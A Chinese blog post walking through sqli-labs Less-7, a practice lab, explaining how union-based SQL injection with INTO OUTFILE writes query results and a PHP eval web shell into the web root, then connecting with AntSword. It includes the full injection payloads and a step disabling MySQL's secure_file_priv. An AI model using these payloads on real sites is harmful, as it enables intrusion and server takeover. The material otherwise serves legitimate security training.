sqli labs Less7 匯出檔案字元型注入

2021-10-25 02:57:50 字數 1993 閱讀 4701

less-7 get - dump into outfile - string (匯出檔案get字元型注入)

匯出到檔案就是可以將查詢結果匯出到乙個檔案中,如常見的將一句話木馬匯出到乙個php檔案中,常用的語句是:select 「<?php @eval($_post['giantbranch']);?>」 into outfile 「***\test.php」,但這裡要獲取到**的在系統中的具體路徑(絕對路徑)

load_file() 讀取本地檔案

into outfile 寫入檔案,檔案路徑需要用雙斜線

猜解漏洞型別:

分別嘗試:

id=1,正常

id=1』,報錯

id=1",正常

id=1』),報錯

id=1』)),正常

初步嘗試用1』))進行注入

')) order by 3 --+, 顯示正常。

')) order by 4 --+, 顯示有語法錯誤,說明該錶資料僅有3列。

根據資料表內有3列資料,可以通過union注入查詢資料庫資訊。

')) union select 1,2,3 --+, 顯示正常

那麼url可以改為:

')) union select 1,database(),user() into outfile 'd:\\phpstudy_pro\\www\\sqli-labs-master\\less-7\\test.txt' --+

select *** into outfile 『檔案絕對路徑』 可以將查詢到的資料庫資訊寫入到檔案中

剛開始始終無法匯出檔案,是因為secure_file_priv引數限制,我們的mysql有乙個secure_file_priv引數限制load data,select … into outfile,load_file()傳到那個指定目錄的,其許可權分為以下三種:

secure_file_prive=null,表示限制mysqld,不允許匯入匯出;

secure_file_priv=/var/lib/mysql-files/ 限制mysqld的匯入匯出只能發生在/var/lib/mysql-files/目錄下;

secure_file_priv沒有具體值時,表示不對mysqld的匯入匯出做限制。

而我們當前的情況是null,所以需要進入d:\phpstudy_pro\extensions\mysql5.7.26\my.ini配置檔案新增secure_file_priv="/",儲存後重啟mysql。

重啟後,再次輸入上面的url,介面上仍然報錯:

但進入檔案路徑,可以發現已經生成了test.txt檔案,內容即查詢的資料庫當前使用者、資料庫名稱等資訊。

將一句話木馬寫入檔案中:

')) union select 1,2,'<?php @eval($_post['mmye']);?>' into outfile 'd:\\phpstudy_pro\\www\\sqli-labs-master\\less-7\\test.php' --+

用中國蟻劍進行連線,成功連線,可以進行檔案管理。

mysql7 資料庫的匯出匯入

匯出整個資料庫 注 這個是在沒有登陸mysql下,在控制台進行的操作 密碼可以不用輸,在回車之後輸入也可以 mysqldump u 使用者名稱 p 資料庫名 匯出的檔名 mysqldump uroot proot student student.sql匯出乙個表 一般不用 mysqldump u 使...

使用itext7把html匯出為pdf,並設定中文

導包 html轉pdf工具 com.itextpdf groupid html2pdf artifactid 3.0.0 version dependency 中文字型 com.itextpdf groupid font asian artifactid 7.1.11 version depende...

水晶報表基礎入門 7 晶報表匯出資料技術2

exportdestinationoptions屬性 獲取或設定報表的匯出目標選項。語法 publicexportdestinationoptions exportdestinationoptions exportdestinationtype屬性 獲取或設定匯出目標型別。public export...